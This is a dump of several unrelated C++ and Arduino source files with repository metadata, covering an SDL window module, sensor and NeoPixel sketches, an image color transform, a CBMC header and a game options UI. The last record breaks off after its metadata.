I_UNIFORM_INT32_DISTRIBUTION_H__BE510F83_B556_4518_AD1B_BFEF642D011A
[ "gauchyler@uestc.edu.cn" ]
gauchyler@uestc.edu.cn
be70a950d8bd2a28308a5e70c9c3cb59b67abfe1
68a0f8602906de1965f65ee1ce44d3fb1d7c1ce3
/ModuleWindow.cpp
908933c47415f1131d94f6f179f9e5c8d3fe9b96
[]
no_license
0000duck/Engine
cb38372aaba6a54b2d2f2e7e044162587f6689ce
b2e7b945f87f8ff8c8f81a1ee25b4192a9778a6e
refs/heads/master
2022-03-19T09:02:57.130047
2019-11-20T14:28:28
2019-11-20T14:28:28
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,247
cpp
#include "Globals.h" #include "Application.h" #include "ModuleWindow.h" ModuleWindow::ModuleWindow() { } // Destructor ModuleWindow::~ModuleWindow() { } // Called before render is available bool ModuleWindow::Init() { LOG("Init SDL window & surface"); bool ret = true; if(SDL_Init(SDL_INIT_VIDEO) < 0) { LOG("SDL_VIDEO could not initialize! SDL_Error: %s\n", SDL_GetError()); ret = false; } else { //Create window int width = SCREEN_WIDTH; int height = SCREEN_HEIGHT; Uint32 flags = SDL_WINDOW_SHOWN | SDL_WINDOW_OPENGL | SDL_WINDOW_RESIZABLE | SDL_WINDOW_MAXIMIZED; if(FULLSCREEN == true) { flags |= SDL_WINDOW_FULLSCREEN; } window = SDL_CreateWindow(TITLE, SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, width, height, flags); if(window == NULL) { LOG("Window could not be created! SDL_Error: %s\n", SDL_GetError()); ret = false; } else { //Get window surface screen_surface = SDL_GetWindowSurface(window); } } return ret; } // Called before quitting bool ModuleWindow::CleanUp() { LOG("Destroying SDL window and quitting all SDL systems"); //Destroy window if(window != NULL) { SDL_DestroyWindow(window); } //Quit SDL subsystems SDL_Quit(); return true; }
[ "krlosfuentes@gmail.com" ]
krlosfuentes@gmail.com
ddefe61f0fd5df92ecf462e832cd7b27445a999e
f22bdc99b6b308ec2be3f9cb63aa117f04d82dbe
/code/Trackers/src/cybRegionTrackInfo.cpp
d4927b97764fbb65a91deb79c2216ec777192f23
[]
no_license
naneaa/cybermed-master
d268b7b6c573feadc7cde041bd80de4a7ccc5687
46fba3ea54e9c4671a521cf21624a65a50812bd0
refs/heads/master
2021-01-21T08:37:19.621596
2018-05-14T23:30:42
2018-05-14T23:30:42
91,632,795
0
0
null
null
null
null
UTF-8
C++
false
false
2,126
cpp
// ***************************************************************** // This file is part of the CYBERMED Libraries // // Copyright (C) 2007 LabTEVE (http://www.de.ufpb.br/~labteve), // Federal University of Paraiba and University of São Paulo. // All rights reserved. // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public // License along with this program; if not, write to the Free // Software Foundation, Inc., 51 Franklin Street, Fifth Floor, // Boston, MA 02110-1301, USA. // ***************************************************************** #include "cybRegionTrackInfo.h" CybRegionTrackInfo::CybRegionTrackInfo() { maxX = maxY = minX = minY = 0; } CybRegionTrackInfo::CybRegionTrackInfo(int maxX, int minX, int maxY, int minY) { this->maxX = maxX; this->minX = minX; this->maxY = maxY; this->minY = minY; } CybRegionTrackInfo::CybRegionTrackInfo(const CBlob *blob) { this->maxX = (int) blob->MaxX(); this->minX = (int) blob->MinX(); this->maxY = (int) blob->MaxY(); this->minY = (int) blob->MinY(); } CybRegionTrackInfo::~CybRegionTrackInfo() { } int CybRegionTrackInfo::getMaxX(){ return maxX; } int CybRegionTrackInfo::getMaxY(){ return maxY; } int CybRegionTrackInfo::getMinX(){ return minX; } int CybRegionTrackInfo::getMinY(){ return minY; } double CybRegionTrackInfo::getArea(){ return ((maxX - minX)*(maxY - minY)); } void CybRegionTrackInfo::setMaxX(int maxX){ this->maxX = maxX; } void CybRegionTrackInfo::setMinX(int minX){ this->minX = minX; } void CybRegionTrackInfo::setMaxY(int maxY){ this->maxY = maxY; } void CybRegionTrackInfo::setMinY(int minY){ this->minY = minY; }
[ "elaineanita1@gmail.com" ]
elaineanita1@gmail.com
5701f77691e1d6405157467c72f2f0c01f6f222b
553d6d5169585a00e15fe681b2a2000d879adf61
/Arduino/Principal_PPI/Configuracion_IMU.ino
3c5502bf6dec1f8d774d6bcf9dc8cae8aa646d07
[]
no_license
ivangarciad/tfgs
6d50e22c921ba2751ae4b84abb2f5d02a6120b26
513f7f5778a368857c6753838537e612cb8a5e2d
refs/heads/master
2021-07-01T06:28:31.232170
2016-09-21T12:53:18
2016-09-21T12:53:18
41,812,420
0
0
null
null
null
null
UTF-8
C++
false
false
3,068
ino
void Configuracion_Acelerometro() { //INICIALIZACION compass.init(); compass.enableDefault(); /* compass.enableDefault() enables the LSM303's accelerometer and magnetometer. Also: -Sets sensor full scales (gain) to default power-on values, which are+/- 2 g for accelerometer and +/- 4 gauss for magnetometer - Selects 50 Hz ODR (output data rate) for accelerometer and 7.5 Hz ODR for magnetometer (6.25 Hz on LSM303D). (These are the ODR settings for which the electrical characteristics are specified in the datasheets.) - Enables high resolution modes (if available). Note that this function will also reset other settings controlled by the registers it writes to. */ //CONFIGURAR REGISTROS compass.writeReg(LSM303::CTRL1, 0x37);//ODR = 37 Hz compass.writeReg(LSM303::CTRL2, 0x00); /* La linea compass.writeReg(LSM303::CTRL2, 0x10) cambia el fondo de escala, que por defecto al llamar a enableDefault se configura a +-2 g. Los valores posibles son: FS VALOR REGISTRO CTRL2 +-2 g: 0x00; +-4 g: 0x08; +-6 g: 0x10; +-8 g: 0x18; +-16 g:0x20; Los bits del registro son: X X FS2 FS1 FS0 X X X */ } void Configuracion_Giroscopio() { //INICIALIZACION if (!gyro.init()){ Serial.println("Failed to autodetect gyro type!"); while (1); } gyro.enableDefault(); /* gyro.enableDefault() enables the L3G's gyro. Also: -Sets gyro full scale (gain) to default power-on value of +/- 245 dps for L3GD20H). -Selects 189.4 Hz ODR (output data rate). Note that this function will also reset other settings controlled by the registers it writes to. */ //CONFIGURAR REGISTROS gyro.writeReg(L3G::CTRL1, 0x0F); //Configuracion ODR = 12.5 Hz y BW gyro.writeReg(L3G::CTRL2, 0b00100000); //Filtro paso alto gyro.writeReg(L3G::CTRL4, 0b00100000); //Modificacion fondo de escala /*La linea gyro.writeReg(L3G::CTRL_REG4, 0x10); cambia el fondo de escala, que por defecto al llamar a enableDefault se configura a +-250 dps. Los valores posibles son: +-245 dps: 0x00 o 0b00000000; +-500 dps: 0x10 o 0b00010000; +-2000 dps: 0x20 o 0x30 o 0b00100000; Los bits del registro correspondientes a FS1 y FS0 son X X FS1 FS0 X X X X */ } void Calibracion_IMU() { //Calcular el offset del giroscopio y del acelerometro for(int n=0;n<sampleNum;n++){ gyro.read(); offsetg_x+=(int)gyro.g.x; offsetg_y+=(int)gyro.g.y; offsetg_z+=(int)gyro.g.z; compass.read(); offseta_x+=(int)compass.a.x; offseta_y+=(int)compass.a.y; offseta_z+=(int)compass.a.z; } offsetg_x = offsetg_x/sampleNum; offsetg_y = offsetg_y/sampleNum; offsetg_z = offsetg_z/sampleNum; offseta_x = offseta_x/sampleNum; offseta_y = offseta_y/sampleNum; offseta_z = offseta_z/sampleNum; }
[ "sergiomg@me.com" ]
sergiomg@me.com
510048089eaef3bbafb3959838aba791492d5e34
6099cbfa4923067516a46d365063cd05ad7cfc4e
/xStructures/Trajectory.cpp
a5cf85deb8ef66869c7692f16cc7589f4c6b4f3c
[]
no_license
VEX-4610C/4610C_MotionPlanning
70ff0be16f93f8ab01b0ac5f7a1de28ec51460a8
9698e95d85efb239478f5d07621afba3a734591b
refs/heads/master
2020-03-14T15:07:44.102180
2018-05-01T03:30:26
2018-05-01T03:30:26
null
0
0
null
null
null
null
UTF-8
C++
false
false
69
cpp
// // Created by alexweiss on 4/30/2018. // #include "Trajectory.h"
[ "roboFiddle@users.noreply.github.com" ]
roboFiddle@users.noreply.github.com
2d4b985d9ae088fcc107523cef9caca7a27e83ed
c2ff88a68f454056c0be1357a10890fbfd31fe1c
/workShop/ws2/Text.cpp
fd5625924bb88688faf0f07181b56187637b775f
[]
no_license
jayson528/OOP345
abaa43bb5ec4ce73d74c01408e03866f677e10d0
1272336cb2205b1cfec61638eed81d3593ccc0f6
refs/heads/master
2020-04-15T13:01:54.082159
2019-01-08T17:23:57
2019-01-08T17:23:57
164,699,077
0
0
null
null
null
null
UTF-8
C++
false
false
2,626
cpp
// Name: Jayson Sherry // Seneca Student ID: 141056176 // Seneca email: jsherry1@myseneca.ca // Date of completion:09/19/2018 // // I confirm that the content of this file is created by me, // with the exception of the parts provided to me by my professor. #include <iostream> #include <fstream> #include <string> #include "Text.h" namespace w2 { Text::Text() : str { nullptr }, numberOfLines{ 0 }{ // Set safe empty state with initializer list }; Text::Text(const std::string file_) : numberOfLines{ 0 } { // Create fileStream Obj std::ifstream file(file_); // Create a string variable to temp hold the current line from the file std::string tempLine; // Create a temp array of strings to hold the entire file std::string* tempFile; // Create a temp variable to hold the number of files in the file std::size_t lineCheck = 0; // Check to see if the file was found and opned successfully if (file.is_open()) { // If file is NOT at the end of file, copy each line and increment the variable to determine how many lines there are while (!file.eof()) { std::getline(file, tempLine); ++lineCheck; } // Allocate the correct amount of memory for the array based on the number of lines tempFile = new std::string[lineCheck]; // Reset file to the beggining so it can be read again file.seekg(0); // Copy every line into the newly created array for (std::size_t i = 0; i < lineCheck; ++i) { std::getline(file, tempFile[i]); } // Assign the temp array of string to the current obj this->str = tempFile; this->numberOfLines = lineCheck; } }; // Copy Constructor Text::Text(const Text& text_) { *this = text_; }; // Move Constructor Text::Text(Text&& text_) { numberOfLines = text_.numberOfLines; str = text_.str; text_.str = nullptr; }; // Copy Assignment Operator Text& Text::operator = (const Text& text_) { if (this != &text_) { numberOfLines = text_.numberOfLines; delete[] str; str = new std::string[numberOfLines]; for (int i = 0; i < numberOfLines; ++i) { str[i] = text_.str[i]; } } return *this; }; // Move Assignment Operator Text& Text::operator = (Text&& text_) { if (this != &text_) { numberOfLines = text_.numberOfLines; delete[] str; str = new std::string[numberOfLines]; str = text_.str; text_.str = nullptr; } return *this; }; // Destructor Text::~Text() { delete[] str; str = nullptr; }; std::size_t Text::size() const { return numberOfLines; }; }
[ "jaysonsherry@hotmail.com" ]
jaysonsherry@hotmail.com
e9537748875403c6939052aaae1c80910c570201
310b58616cd83d65eaa2394b1cdbfc75d1815009
/src/buffer.hpp
fee79e10e77de9c64901a194e64ea7681bc68ce6
[ "MIT" ]
permissive
t1mm3/dgen
379a1b2c43fbde7d3a9b94736392ca11864e7dfb
bde9d71308b4f84b92f86bb51e05bd55fc5d07be
refs/heads/master
2020-03-14T16:17:32.699532
2019-08-28T14:51:09
2019-08-28T14:51:09
131,695,306
2
0
null
null
null
null
UTF-8
C++
false
false
344
hpp
#ifndef H_GEN_BUFFER #define H_GEN_BUFFER #include <string> struct BufferFactory; struct Buffer { char* data; size_t capacity; size_t size; Buffer* next; char* Alloc(size_t bytes); private: friend class BufferFactory; Buffer(); }; struct BufferFactory { Buffer* NewBuffer(size_t capacity); void FreeBuffer(Buffer* buf); }; #endif
[ "tim.gubner@cwi.nl" ]
tim.gubner@cwi.nl
e3e38086ed9a6af80306aa2d531d9cb04e8120f3
325770e648204b9715ade4c446940f46501ec3ea
/Neopixel/Neopixel_v3/Neopixel_v3.ino
d88fd6646f19453c0ec0298650ad753aaf91d5c5
[]
no_license
JackBauer76/IOTanks
17e3714a199dda5b91f9f93809e6c499f69c46db
424a4d1ca14a20bccf4e1f131980296b72edd11c
refs/heads/master
2021-12-29T22:40:45.819752
2021-12-28T19:58:41
2021-12-28T19:58:41
161,743,249
1
0
null
2019-01-31T19:06:46
2018-12-14T06:44:35
C++
UTF-8
C++
false
false
4,621
ino
/* Version 0 with Arduino Nano -Neopixel to D4 -Pushbutton to D3 (Pullup, Terminal to GND) Version 1 with switch case Version 2 with Switch 5 cases Version 3 with Poti */ #include <Adafruit_NeoPixel.h> #include <avr/interrupt.h> #ifdef __AVR__ #include <avr/power.h> #endif #define PIN 4 // Nano #define NUMPIXELS 35 #define COLORSTEP 10 //#include "Timer.h" // ATMEL ATTINY 25/45/85 / ARDUINO // // +-\/-+ // Ain0 (D 5) PB5 1| |8 Vcc // PIR Ain3 (D 3) PB3 2| |7 PB2 (D 2) Ain1 Neopixel // Ain2 (D 4) PB4 3| |6 PB1 (D 1) pwm1 Rotor // GND 4| |5 PB0 (D 0) pwm0 Pushbutton // Adafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800); //Timer t; const int Pushbutton = 3; const int Poti = A3; volatile int AuthState = 0; int PotiValue; ///////////////////////////// SETUP //////////////////////////////// void setup() { pixels.begin(); // This initializes the NeoPixel library. pinMode(Pushbutton, INPUT_PULLUP); pinMode(Poti, INPUT); // This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket #if defined (__AVR_ATtiny85__) if (F_CPU == 8000000) clock_prescale_set(clock_div_1); #endif Serial.begin(9600); attachInterrupt(digitalPinToInterrupt(Pushbutton), Auth, RISING); } ///////// INTERRUPT ROUTINE ////////////////////////// void Auth() { if(AuthState == 6) { AuthState = 0; } else { AuthState++; } } /////////////////////////// LOOP ////////////////////////////////// void loop() { PotiValue = analogRead(Poti); Serial.println(AuthState); Serial.println(PotiValue); switch (AuthState) { case 0: colorWipe(pixels.Color(100, 0, 0), 50); // Red break; case 1: colorWipe(pixels.Color(0, 0, 100), 50); // Blue break; case 2: theaterChase(pixels.Color(127, 127, 127), 50); break; case 3: rainbow(10); break; case 4: rainbowCycle(5); break; case 5: theaterChaseRainbow(20); break; } // end of switch } // end of loop ////////////////////// NEOPIXEL FUNCTIONS ///////////////// // Fill the dots one after the other with a color void colorWipe(uint32_t c, uint8_t wait) { for(uint16_t i=0; i<pixels.numPixels(); i++) { pixels.setPixelColor(i, c); pixels.show(); delay(wait); } } void rainbow(uint8_t wait) { uint16_t i, j; for(j=0; j<256; j++) { for(i=0; i<pixels.numPixels(); i++) { pixels.setPixelColor(i, Wheel((i+j) & 255)); } pixels.show(); delay(wait); } } //Theatre-style crawling lights. void theaterChase(uint32_t c, uint8_t wait) { for (int j=0; j<10; j++) { //do 10 cycles of chasing for (int q=0; q < 3; q++) { for (uint16_t i=0; i < pixels.numPixels(); i=i+3) { pixels.setPixelColor(i+q, c); //turn every third pixel on } pixels.show(); delay(wait); for (uint16_t i=0; i < pixels.numPixels(); i=i+3) { pixels.setPixelColor(i+q, 0); //turn every third pixel off } } } } // Slightly different, this makes the rainbow equally distributed throughout void rainbowCycle(uint8_t wait) { uint16_t i, j; for(j=0; j<256*5; j++) { // 5 cycles of all colors on wheel for(i=0; i< pixels.numPixels(); i++) { pixels.setPixelColor(i, Wheel(((i * 256 / pixels.numPixels()) + j) & 255)); } pixels.show(); delay(wait); } } //Theatre-style crawling lights with rainbow effect void theaterChaseRainbow(uint8_t wait) { for (int j=0; j < 256; j++) { // cycle all 256 colors in the wheel for (int q=0; q < 3; q++) { for (uint16_t i=0; i < pixels.numPixels(); i=i+3) { pixels.setPixelColor(i+q, Wheel( (i+j) % 255)); //turn every third pixel on } pixels.show(); delay(wait); for (uint16_t i=0; i < pixels.numPixels(); i=i+3) { pixels.setPixelColor(i+q, 0); //turn every third pixel off } } } } // Input a value 0 to 255 to get a color value. // The colours are a transition r - g - b - back to r. uint32_t Wheel(byte WheelPos) { WheelPos = 255 - WheelPos; if(WheelPos < 85) { return pixels.Color(255 - WheelPos * 3, 0, WheelPos * 3); } if(WheelPos < 170) { WheelPos -= 85; return pixels.Color(0, WheelPos * 3, 255 - WheelPos * 3); } WheelPos -= 170; return pixels.Color(WheelPos * 3, 255 - WheelPos * 3, 0); }
[ "panzercalva@gmail.com" ]
panzercalva@gmail.com
fdb0b238ff1593e667a01e7a9f2a8f2bdf4ee633
4c0aac67f746ba08ab2843353d738dad2632cf9e
/MCC201-Procesamiento_de_Imagenes_y_Vision_Computacional/ImageProcesing/Trabajo_Image-Filters/utils/colortransform.cpp
6864578b9d0d50fb263234435e415bc76f2fa4c5
[]
no_license
fmorenovr/ComputerScience_UCSP
90f060bd8727d21e3b150fe2898f9aa40f7aa192
9412e0a72a411d17cc054bb792be16193356fdaa
refs/heads/master
2021-11-08T23:46:18.989498
2021-09-29T15:25:32
2021-09-29T15:25:32
249,790,277
8
0
null
null
null
null
UTF-8
C++
false
false
3,147
cpp
#include "colortransform.h" ColorTransform::ColorTransform(QImage *const src, QImage *const dst, QObject *parent) : QObject(parent) { srcImage = src; dstImage = dst; return; } void ColorTransform::convertToYUV() { emit print_progress(0); emit print_message(QString("applying convertion to YUV...")); const int w = srcImage->width(); const int h = srcImage->height(); const int sz = w*h; *dstImage = QImage(w, h, QImage::Format_RGB32); int *src_r, *src_g, *src_b; int *dst_y, *dst_cb, *dst_cr; src_r = (int *)malloc(sizeof(int)*w*h); src_g = (int *)malloc(sizeof(int)*w*h); src_b = (int *)malloc(sizeof(int)*w*h); dst_y = (int *)malloc(sizeof(int)*w*h); dst_cb = (int *)malloc(sizeof(int)*w*h); dst_cr = (int *)malloc(sizeof(int)*w*h); for(int y = 0; y < h; ++y) for(int x = 0; x < w; ++x) { const QRgb pix = srcImage->pixel(x, y); src_r[x + w*y] = qRed(pix); src_g[x + w*y] = qGreen(pix); src_b[x + w*y] = qBlue(pix); } // convert rgb to yuv rgb2yuv(src_r, src_g, src_b, dst_y, dst_cb, dst_cr, w*h); if(show_Y){ memset(dst_cb, 0, sizeof(int)*w*h); memset(dst_cr, 0, sizeof(int)*w*h); }else if (show_Cb) { memset(dst_y, 0, sizeof(int)*w*h); memset(dst_cr, 0, sizeof(int)*w*h); }else if (show_Cr) { memset(dst_y, 0, sizeof(int)*w*h); memset(dst_cb, 0, sizeof(int)*w*h); } yuv2rgb(dst_y, dst_cb, dst_cr, src_r, src_g, src_b, w*h); // transform image using yuv vectors for(int y = 0; y < h; ++y) for(int x = 0; x < w; ++x) { const int r = src_r[x + w*y]; const int g = src_g[x + w*y]; const int b = src_b[x + w*y]; QRgb pix = qRgb(r, g, b); dstImage->setPixel(x, y, pix); } free(src_r); free(src_g); free(src_b); free(dst_y); free(dst_cb); free(dst_cr); emit print_progress(100); emit image_ready(); emit print_message(QString("applying convertion to YUV...finished")); return; } void ColorTransform::setY(const int state) { if (state == Qt::Checked) { emit print_message(QString("will display Y channel")); show_Y = 1; } else { emit print_message(QString("won't display Y channel")); show_Y = 0; } return; } void ColorTransform::setCb(const int state) { if (state == Qt::Checked) { emit print_message(QString("will display Cb channel")); show_Cb = 1; } else { emit print_message(QString("won't display Cb channel")); show_Cb = 0; } return; } void ColorTransform::setCr(const int state) { if (state == Qt::Checked) { emit print_message(QString("will display Cr channel")); show_Cr = 1; } else { emit print_message(QString("won't display Cr channel")); show_Cr = 0; } return; }
[ "fmorenovr@gmail.com" ]
fmorenovr@gmail.com
f6e45913f795d80a8168f4d6d961e1c27587432a
de21f9075f55640514c29ef0f1fe3f0690845764
/src/analyses/variable-sensitivity/abstract_object_set.h
8374ff0f366ea377159623be113afdc48e4b2668
[ "BSD-2-Clause", "LicenseRef-scancode-unknown-license-reference", "BSD-4-Clause" ]
permissive
diffblue/cbmc
975a074ac445febb3b5715f8792beb545522dc18
decd2839c2f51a54b2ad0f3e89fdc1b4bf78cd16
refs/heads/develop
2023-08-31T05:52:05.342195
2023-08-30T13:31:51
2023-08-30T13:31:51
51,877,056
589
309
NOASSERTION
2023-09-14T18:49:17
2016-02-16T23:03:52
C++
UTF-8
C++
false
false
2,109
h
/*******************************************************************\ Module: analyses variable-sensitivity Author: Jez Higgins, jez@jezuk.co.uk \*******************************************************************/ /// \file /// an unordered set of value objects #ifndef CBMC_ABSTRACT_OBJECT_SET_H #define CBMC_ABSTRACT_OBJECT_SET_H #include <analyses/variable-sensitivity/abstract_value_object.h> #include <unordered_set> class abstract_object_sett { public: using value_sett = std::unordered_set< abstract_object_pointert, abstract_hashert, abstract_equalert>; using const_iterator = value_sett::const_iterator; using value_type = value_sett::value_type; using size_type = value_sett::size_type; void insert(const abstract_object_pointert &o) { values.insert(o); } void insert(abstract_object_pointert &&o) { values.insert(std::move(o)); } void insert(const abstract_object_sett &rhs) { values.insert(rhs.begin(), rhs.end()); } void insert(const value_ranget &rhs) { for(auto const &value : rhs) insert(value); } void push_back(const abstract_object_pointert &v) { // alias for insert so we can use back_inserter values.insert(v); } abstract_object_pointert first() const { return *begin(); } const_iterator begin() const { return values.begin(); } const_iterator end() const { return values.end(); } value_sett::size_type size() const { return values.size(); } bool empty() const { return values.empty(); } bool operator==(const abstract_object_sett &rhs) const { return values == rhs.values; } void clear() { values.clear(); } void output(std::ostream &out, const ai_baset &ai, const namespacet &ns) const; /// Calculate the set of values as an interval. /// \return the constant_interval_exprt bounding the values constant_interval_exprt to_interval() const; private: value_sett values; }; class value_set_tag { public: virtual const abstract_object_sett &get_values() const = 0; }; #endif //CBMC_ABSTRACT_OBJECT_SET_H
[ "jez@jezuk.co.uk" ]
jez@jezuk.co.uk
153f46d33d1a7e57ee7af1a2c038269d8a65f80c
87d95eb442c02572ba76ce4beb97b6357e1e9fa6
/src/Systems/UI/Options.h
624a481878d130b446b0511e718bea9e236f1c38
[]
no_license
Eli5723/Stakken
600816896c74b9f71e9bd2f90897f9fd063bb36e
887c5cd9f277bd4f5dff25f1ef68bf40c414d108
refs/heads/master
2023-05-31T06:55:38.609853
2021-07-04T04:28:35
2021-07-04T04:28:35
369,947,509
0
0
null
null
null
null
UTF-8
C++
false
false
8,662
h
#pragma once #include "../../Globals.h" #include "../Assets/Assets.h" #include "./UI.h" #include "./BaseWidgets.h" #include "../Input/InputProfile.h" #include "Element.h" #include <SDL2/SDL_events.h> #include <SDL2/SDL_keyboard.h> #include <SDL2/SDL_mouse.h> #include <cstdlib> #include <glm/fwd.hpp> #include <string> #include <HSV.h> namespace UI { const std::string icons[] = { "left", "right", "softdrop", "harddrop", "sonicdrop", "rcw", "rccw", "flip", "das", "arr", "droparr" }; const std::string labels[] = { "Move Left", "Move Right", "Soft Drop", "Hard Drop", "Sonic Drop", "Rotate Clockwise", "Rotate Counterclockwise", "Flip" }; Element* Options(InputProfile* profile, Identity* identity){ Element* base = new Element; base->size = {200.0f + RenderGame::kPieceDimensions.x * 4,32.0f*12}; base->flags = Flags::background | Flags::border; Element* list = new Element; list->size = {200.0f,32.0f*11}; // Create control buttons for (int i=0; i < 8; i++){ const char* keyName = SDL_GetKeyName((SDL_GetKeyFromScancode((SDL_Scancode)profile->keys[i]))); Element* label = Label(keyName); label->position = {32.0f,i * 32.0f}; label->size = {list->size.x - 32.0f,32.0f}; label->flags |= Flags::border; list->addChild(label); Element* button = new Element; button->flags = Flags::texture | Flags::border; button->data.texture = textureCache.get(("./Resources/Textures/Icons/" + icons[i] + ".png").c_str()); button->position = {0.0f, i * 32.0f}; button->size = {32.0f, 32.0f}; button->clickCallback = [label](int x,int y) {label->setText("Waiting for input...");}; button->keyCallback = [i, label, profile](const SDL_KeyboardEvent& event) { const char* keyName = SDL_GetKeyName(event.keysym.sym); profile->keys[i] = event.keysym.scancode; label->setText(keyName); clearFocus(); }; list->addChild(button); } base->addChild(list); // Das input Element* dasInput = NumberInput(profile->das); dasInput->size = {list->size.x - 32.0f,32}; dasInput->position = {32.0f, 32.0f * 8}; list->addChild(dasInput); Element* dasIcon = new Element; dasIcon->flags = Flags::texture | Flags::border; dasIcon->data.texture = textureCache.get(("./Resources/Textures/Icons/" + icons[8] + ".png").c_str()); dasIcon->position = {0.0f, 8 * 32.0f}; dasIcon->size = {32.0f, 32.0f}; list->addChild(dasIcon); Element* arrInput = NumberInput(profile->arr); arrInput->size = {list->size.x - 32.0f,32}; arrInput->position = {32.0f, 32.0f * 9}; list->addChild(arrInput); Element* arrIcon = new Element; arrIcon->flags = Flags::texture | Flags::border; arrIcon->data.texture = textureCache.get(("./Resources/Textures/Icons/" + icons[9] + ".png").c_str()); arrIcon->position = {0.0f, 9 * 32.0f}; arrIcon->size = {32.0f, 32.0f}; list->addChild(arrIcon); Element* dropArrInput = NumberInput(profile->dropArr); dropArrInput->size = {list->size.x - 32.0f,32}; dropArrInput->position = {32.0f, 32.0f * 10}; list->addChild(dropArrInput); Element* dropArrIcon = new Element; dropArrIcon->flags = Flags::texture | Flags::border; dropArrIcon->data.texture = textureCache.get(("./Resources/Textures/Icons/" + icons[10] + ".png").c_str()); dropArrIcon->position = {0.0f, 10 * 32.0f}; dropArrIcon->size = {32.0f, 32.0f}; list->addChild(dropArrIcon); Element* pieceRoot = new Element; for (int i = 0; i < 7; i++){ const int columns = 4; int column = i % columns; int row = i / columns; glm::vec2 position = {column * RenderGame::kPieceDimensions.x, row * (RenderGame::kPieceDimensions.y+64.0f)}; // Piece (Click to rotate) Element* piece = new Element; piece->flags = Flags::piece | Flags::border; piece->data.piece.type = (TileType)i; piece->data.piece.rotation = profile->rotation[i]; piece->data.piece.colorTable = &identity->color_table; piece->size = RenderGame::kPieceDimensions; piece->position = position; piece->clickCallback = [i,profile,piece](int x, int y){ profile->rotation[i] = (profile->rotation[i] + 1) % 4; piece->data.piece.rotation = profile->rotation[i]; }; pieceRoot->addChild(piece); // Paint Bucket (Drag to modify HSV) static float hue[7]; static float saturation[7]; static float value[7]; // Extract HSV information from the profile's color tables RGB2HSV(hue[i], saturation[i], value[i], identity->color_table.entries[i]); Element* h = new Element; h->flags = Flags::texture; h->data.texture = textureCache.get("./Resources/Textures/Icons/hue.png"); h->position = position + glm::vec2{0,RenderGame::kPieceDimensions.y+1}; h->size= {32.0f,32.0f}; h->dragCallback = [i,identity](const SDL_MouseMotionEvent& event){ //Initializes a static float for each color table entry to the hue of that entry hue[i] = hue[i] + event.yrel*2; HSV2RGB(hue[i],saturation[i],value[i], identity->color_table.entries[i]); }; pieceRoot->addChild(h); Element* s = new Element; s->flags = Flags::texture; s->data.texture = textureCache.get("./Resources/Textures/Icons/saturation.png"); s->position = position + glm::vec2{32.0f,RenderGame::kPieceDimensions.y+1}; s->size= {32.0f,32.0f}; s->dragCallback = [i,identity](const SDL_MouseMotionEvent& event){ //Initializes a static float for each color table entry to the hue of that entry saturation[i] = fmax(0,fmin(1,saturation[i] - event.yrel*.025)); HSV2RGB(hue[i],saturation[i],value[i], identity->color_table.entries[i]); }; pieceRoot->addChild(s); Element* v = new Element; v->flags = Flags::texture; v->data.texture = textureCache.get("./Resources/Textures/Icons/value.png"); v->position = position + glm::vec2{64.0f,RenderGame::kPieceDimensions.y+1}; v->size= {32.0f,32.0f}; v->dragCallback = [i,identity](const SDL_MouseMotionEvent& event){ //Initializes a static float for each color table entry to the hue of that entry value[i] = fmax(0,fmin(1,value[i] - event.yrel*.005)); HSV2RGB(hue[i],saturation[i],value[i], identity->color_table.entries[i]); }; pieceRoot->addChild(v); } pieceRoot->position = {list->size.x,0}; pieceRoot->size = {RenderGame::kPieceDimensions.x * 4,list->size.y}; pieceRoot->flags = border; // Graphical Options base->addChild(pieceRoot); Element* graphicsOptions = new Element; graphicsOptions->flags = Flags::border; graphicsOptions->size = { base->size.x,32.0f }; graphicsOptions->position = { 0,list->size.y }; base->addChild(graphicsOptions); Element* shaderButton = new Element; shaderButton->flags = Flags::border | Flags::text; shaderButton->size = {128,32}; shaderButton->data.text = "Shader (F5)"; shaderButton->clickCallback = [](int x, int y){ activeAssets.nextShader(); }; graphicsOptions->addChild(shaderButton); Element* pieceTextureButton = new Element; pieceTextureButton->flags = Flags::border | Flags::text; pieceTextureButton->size = {128,32}; pieceTextureButton->position = {128,0}; pieceTextureButton->data.text = "Piece Texture (F6)"; pieceTextureButton->clickCallback = [](int x, int y){ activeAssets.nextPieceTexture(); }; graphicsOptions->addChild(pieceTextureButton); Element* font = new Element; font->flags = Flags::border | Flags::text; font->size = {128,32}; font->position = {256,0}; font->data.text = "Font (F7)"; font->clickCallback = [](int x, int y){ activeAssets.nextFont(); }; graphicsOptions->addChild(font); Element* outlineStyleButton = new Element; outlineStyleButton->flags = Flags::border | Flags::text; outlineStyleButton->size = {128,32}; outlineStyleButton->position = {384,0}; outlineStyleButton->data.text = "Outline Style (F8)"; outlineStyleButton->clickCallback = [](int x, int y){ RenderGame::cycleOutlineStyles(); }; graphicsOptions->addChild(outlineStyleButton); return base; } }
[ "cunninhamelijah@gmail.com" ]
cunninhamelijah@gmail.com
140889b1f21395438dcb8c0eab265d22cea93de7
6a6e83e31730358008dc911391215e92b5dd614d
/exam/main.cpp
2eeb61f9d3c75772efcdf2b58d912790bd73407d
[]
no_license
antorlovsky/msu_cpp_spring_2020
e7ab07f08cc7ef413086231542a0eb0cf2af8df7
d9a508038e39f8989b73383db9b40eb8e3386f92
refs/heads/master
2021-02-25T09:55:53.812710
2020-05-14T16:22:47
2020-05-14T16:22:47
245,452,648
0
0
null
null
null
null
UTF-8
C++
false
false
77
cpp
#include "sum.h" int main() { Sum calcSum("input.txt"); return 0; }
[ "too.shko@gmail.com" ]
too.shko@gmail.com
27e92f9567937107676a8667312726fae644e329
64bcf0f33442d276f07bed73f745be72a830aa6d
/tilt_sensor/tilt_sensor.cpp
a8cb2386c67456a16c3d6e0aa049b0b1b740ef44
[]
no_license
risenanti/usmSensorLibrary
031e1cbcc036256ab46906dcbc3be3143096578f
0ea7928f79c467c1e93f1e592574f1b880cb55b6
refs/heads/master
2021-09-07T08:06:13.516407
2018-02-19T22:13:08
2018-02-19T22:13:08
104,581,733
3
2
null
null
null
null
